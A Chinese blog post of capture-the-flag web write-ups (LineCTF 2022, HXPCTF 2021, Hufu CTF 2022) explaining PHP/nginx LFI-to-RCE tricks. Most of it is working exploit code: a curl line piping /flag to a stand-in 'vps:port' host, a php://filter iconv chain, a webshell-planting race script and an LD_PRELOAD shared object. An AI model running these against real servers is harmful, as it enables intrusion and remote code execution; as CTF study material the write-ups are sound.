2022 CTF康复训练1

  • [LineCTF 2022]gotm

    go ssti + jwt 伪造,首先在根目录发现直接解析,传入 {{.}} 能打印环境变量并泄露对应的 key,注册特定用户生成 token 再传入,拿到 key 之后直接加密即可。
    image-20220509201832935

  • [LineCTF 2022]BB

    linux 中可以用 $'\' 以 8 进制形式执行指令,

    cat flag == $'\143\141\164' flag
    

    centos,可以用 p 神那篇 https://tttang.com/archive/1450/ 利用环境变量注入执行任意命令,用 8 进制绕过第一个过滤即可。

    import string
    import requests
    
    cmd = 'cat /flag | curl -d @- http://vps:port'
    
    o = ''
    
    for c in cmd:
        if c in string.ascii_letters:
            o += f"$'\\{oct(ord(c))[2:]}'"
        else:
            o += c
    
    r = requests.get(f'http://213f6e8f-d034-4a8a-92af-97f37cdbfc70.node4.buuoj.cn:81/?env[BASH_ENV]=`{o}`')
    print(r.text)
    

    image-20220509212538393

  • [HXPCTF 2021]includer's revenge

    著名的 nginx+LFI getshell,大致流程:

    1.Nginx 在后端 fastcgi 响应过大或请求正文 body 过大时会产生临时文件
    2.绕过 PHP 对软链接的解析
    

    首先是第一个问题:产生的临时文件会立刻被删除,但在 linux 下,如果打开一个文件,该文件会出现在 /proc/pid/fd 下,而如果一个文件没被关闭就直接删除,依然可以读到文件的内容。
    但读的话是以软连接的形式读的,而 php 会先解析软连接,再打开。这时就有了新的问题,这个被删除的软链接会在后面带有 (deleted),也就是:

    /proc/pid/fd/x (deleted)
    

    这样的话 php 就会解析失败,这里通过 https://www.anquanke.com/post/id/213235#h3-5 require_once 绕过不能包含重复文件的思路,加一层目录嵌套起来,能防止 php 对软链接进行解析。

    /proc/self/fd/34/../../../34/fd/9
    

    还有一个问题就是确定 pid,需要在一个范围内进行爆破。首先在 /proc/cmdline 中找到 nginx 的 worker process(nginx master 进程不处理请求),这里 worker process 的数量不会超过 cpu 核心数量(可以通过 /proc/cpuinfo)查看,然后就是查看 /proc/sys/kernel/pid_max 找到最大的 pid,就能确定扫描范围。
    最后的 payload:

    import requests
    
    url = "http://localhost/index.php"
    file_to_use = "/etc/passwd"
    command = "/readflag"
    
    #<?=`$_GET[0]`;;?>
    base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"
    
    conversions = {
        'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
        'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
        'C': 'convert.iconv.UTF8.CSISO2022KR',
        '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
        '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
        'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
        's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
        'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
        'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
        'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
        'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
        '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
        'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
        'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
        'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
        'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
        '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
        '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
    }
    
    
    # generate some garbage base64
    filters = "convert.iconv.UTF8.CSISO2022KR|"
    filters += "convert.base64-encode|"
    # make sure to get rid of any equal signs in both the string we just generated and the rest of the file
    filters += "convert.iconv.UTF8.UTF7|"
    
    
    for c in base64_payload[::-1]:
            filters += conversions[c] + "|"
            # decode and reencode to get rid of everything that isn't valid base64
            filters += "convert.base64-decode|"
            filters += "convert.base64-encode|"
            # get rid of equal signs
            filters += "convert.iconv.UTF8.UTF7|"
    
    filters += "convert.base64-decode"
    
    final_payload = f"php://filter/{filters}/resource={file_to_use}"
    
    r = requests.get(url, params={
        "0": command,
        "action": "include",
        "file": final_payload
    })
    
    print(r.text)
    
  • [HXPCTF 2021]shitty blog

    先看一下能交互的地方,_POST['content'] 被 htmlspecialchars 防死了,_POST['delete'] 没什么用,_COOKIE['session'] 输入后,经过拆分,判断处理之后,其中的一部分在 insert_entry 中经过预编译后插入,但在 get_user 和 delete_entry 的时候从数据块中取出,直接拼接,存在二次注入。
    再看这一条链子中的判断,主要是这句:

    if( ! hash_equals(crypt(hash_hmac('md5', $session[0], $secret, true), $salt), $salt.$session[1])) {
            exit();
    }
    

    其中 crypt 会被 \x00 截断,也就是说只要 hash_hmac 是以 \x00 开头,那么 crypt 就是加密了一个空(NULL),使加密结果固定。

    if(! isset($_COOKIE['session'])){
        $id = random_int(1, PHP_INT_MAX);
        $mac = substr(crypt(hash_hmac('md5', $id, $secret, true), $salt), 20);
    }
    

    依照自动生成 session 的规则,只要能生成两个 mac 相同但 id 不同的 session ,就能说明 hash_hmac('md5', id, secret, true) 结果为空。在此结果之上构造 id,就可以实现注入。
    php 使用 PDO 链接 sqlite,默认支持堆叠注入,最后只需要在 data 目录下面写一个 webshell 就 ok 了。

  • [HXPCTF 2021]unzipper

    传一个压缩包上去,然后会给你解压,但这里不知道 sandbox 的指,没法直接传🐎,并且这里 nginx 的配置是:

    location = /index.php {
        include snippets/fastcgi-php.conf;
        fastcgi_pass unix:/run/php/php7.4-fpm.sock;
    }
    

    指解析 index.php,其它的 php 并不解析。
    如果是普通的 zip 解压然后读可以用软连接读文件,但这里的不同之处在于对传入的文件名进行了 realpath,会去除软连接和相关目录操作,直接返回完整路径。
    但是 realpath 不能识别各种协议(PHP 伪协议),所有可以创建一个目录,目录名是 php 伪协议开头,这样就可以绕过判断。
    poc:

    #!/bin/bash
    
    rm -rf exploit.dir
    mkdir -p exploit.dir
    pushd exploit.dir
    
    TARGET='http://65.108.176.76:8200'
    EPATH='php://filter/convert.base64-encode/resource=exploit'
    
    mkdir -p $EPATH
    ln -s /flag.txt exploit
    zip -y -r exploit.zip *
    
    curl -H 'Cookie: PHPSESSID=e0pabhfs43a7i8q3plo0ghs6i8' $TARGET -F "file=@exploit.zip"
    curl -s -H 'Cookie: PHPSESSID=e0pabhfs43a7i8q3plo0ghs6i8' "$TARGET/?file=$EPATH" | base64 -d
    
    echo
    popd
    
  • [HXPCTF 2021]counter

    也挺离谱的。。。通过 system 时新创建进程,如果把文件名设置为一串 base64,那么 system 起的这个进程的 /proc/pid/cmdline 就是这一串我们可控的 base64,在 include 中通过 php 伪协议解析。
    问题还是 pid 的爆破范围,这里通过 /proc/sys/kernel/ns_last_pid 来确定,这个文件显示这个 pid 命名空间中分配的最后一个 pid。
    poc:

    #!/usr/bin/env python3
    import requests, threading, time,os, base64, re, tempfile, subprocess,secrets, hashlib, sys, random, signal
    from urllib.parse import urlparse,quote_from_bytes
    def urlencode(data, safe=''):
        return quote_from_bytes(data, safe)
    
    url = f'http://{sys.argv[1]}:{sys.argv[2]}/'
    
    backdoor_name = secrets.token_hex(8) + '.php'
    secret = secrets.token_hex(16)
    secret_hash = hashlib.sha1(secret.encode()).hexdigest()
    
    print('[+] backdoor_name: ' + backdoor_name, file=sys.stderr)
    print('[+] secret: ' + secret, file=sys.stderr)
    
    code = f"<?php if(sha1($_GET['s'])==='{secret_hash}')echo shell_exec($_GET['c']);".encode()
    payload = f"""<?php if(sha1($_GET['s'])==='{secret_hash}')file_put_contents("{backdoor_name}",$_GET['p']);/*""".encode()
    payload_encoded = b'abcdfg' + base64.b64encode(payload)
    print(payload_encoded)
    assert re.match(b'^[a-zA-Z0-9]+$', payload_encoded)
    
    # check if the payload would work on our local php setup
    with tempfile.NamedTemporaryFile() as tmp:
        tmp.write(b"sh\x00-c\x00rm\x00-f\x00--\x00'"+ payload_encoded +b"'")
        tmp.flush()
        o = subprocess.check_output(['php','-r', f'echo file_get_contents("php://filter/convert.base64-decode/resource={tmp.name}");'])
        print(o, file=sys.stderr)
        assert payload in o
    
        os.chdir('/tmp')
        subprocess.check_output(['php','-r', f'$_GET = ["p" => "test", "s" => "{secret}"]; include("php://filter/convert.base64-decode/resource={tmp.name}");'])
        with open(backdoor_name) as f:
            d = f.read()
            assert d == 'test'
    
    
    pid = -1
    N = 10
    
    done = False
    
    def worker(i):
        time.sleep(1)
        while not done:
            print(f'[+] starting include worker: {pid + i}', file=sys.stderr)
            s = f"""bombardier -c 1 -d 3m '{url}?page=php%3A%2F%2Ffilter%2Fconvert.base64-decode%2Fresource%3D%2Fproc%2F{pid + i}%2Fcmdline&p={urlencode(code)}&s={secret}' > /dev/null"""
            os.system(s)
    
    def delete_worker():
        time.sleep(1)
        while not done:
            print('[+] starting delete worker', file=sys.stderr)
            s = f"""bombardier -c 8 -d 3m '{url}?page={payload_encoded.decode()}&reset=1' > /dev/null"""
            os.system(s)
    
    for i in range(N):
        threading.Thread(target=worker, args=(i, ), daemon=True).start()
    threading.Thread(target=delete_worker, daemon=True).start()
    
    
    while not done:
        try:
            r = requests.get(url, params={
                'page': '/proc/sys/kernel/ns_last_pid'
            }, timeout=10)
            print(f'[+] pid: {pid}', file=sys.stderr)
            if int(r.text) > (pid+N):
                pid = int(r.text) + 200
                print(f'[+] pid overflow: {pid}', file=sys.stderr)
                os.system('pkill -9 -x bombardier')
    
            r = requests.get(f'{url}data/{backdoor_name}', params={
                's' : secret,
                'c': f'id; ls -l /; /readflag; rm {backdoor_name}'
            }, timeout=10)
    
            if r.status_code == 200:
                print(r.text)
                done = True
                os.system('pkill -9 -x bombardier')
                exit()
    
    
            time.sleep(0.5)
        except Exception as e:
            print(e, file=sys.stderr)
    
  • [虎符CTF 2022]ezphp

    p 神的环境变量注入 getshell 只限于 centos 系统,debian 无法利用,具体原理翻原文。
    这里利用 hxp2021 中 nginx 上传文件的特性,传一个恶意的 so 文件,然后再用 LD_PRELOAD 加载
    恶意的 so 文件:

    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    __attribute__ ((__constructor__)) void preload (void){
      unsetenv("LD_PRELOAD");
      system("id");
      system("cat /flag > /var/www/html/flag");
    }
    

    然后用脚本直接在 so 后面添加垃圾数据(因为 elf 文件的规范性这里不会影响解析)
    然后爆破:

    import threading, requests
    
    URL = 'http://1.14.71.254:28878/'
    
    done = False
    
    def uploader():
        print('[+] starting uploader')
        while not done:
            requests.get(URL, data=open("D:/tmp/evil_dirty.so", "br").read())
    
    for _ in range(16):
        t = threading.Thread(target=uploader)
        t.start()
    
    def bruter():
        for pid in range(4194304):
            print(f'[+] brute loop restarted: {pid}')
            for fd in range(4, 32):
                f = f'/proc/{pid}/fd/{fd}'
                r  = requests.get(URL, params={
                    'env': f"LD_PRELOAD={f}",
                })
                if 'uid' in r.text:
                    print(r.text)
                    print("[+] finished")
                    exit()
    
    a = threading.Thread(target=bruter)
    a.start()
    

    image-20220511232122666

  • 参考文献

点赞

发表回复

电子邮件地址不会被公开。必填项已用 * 标注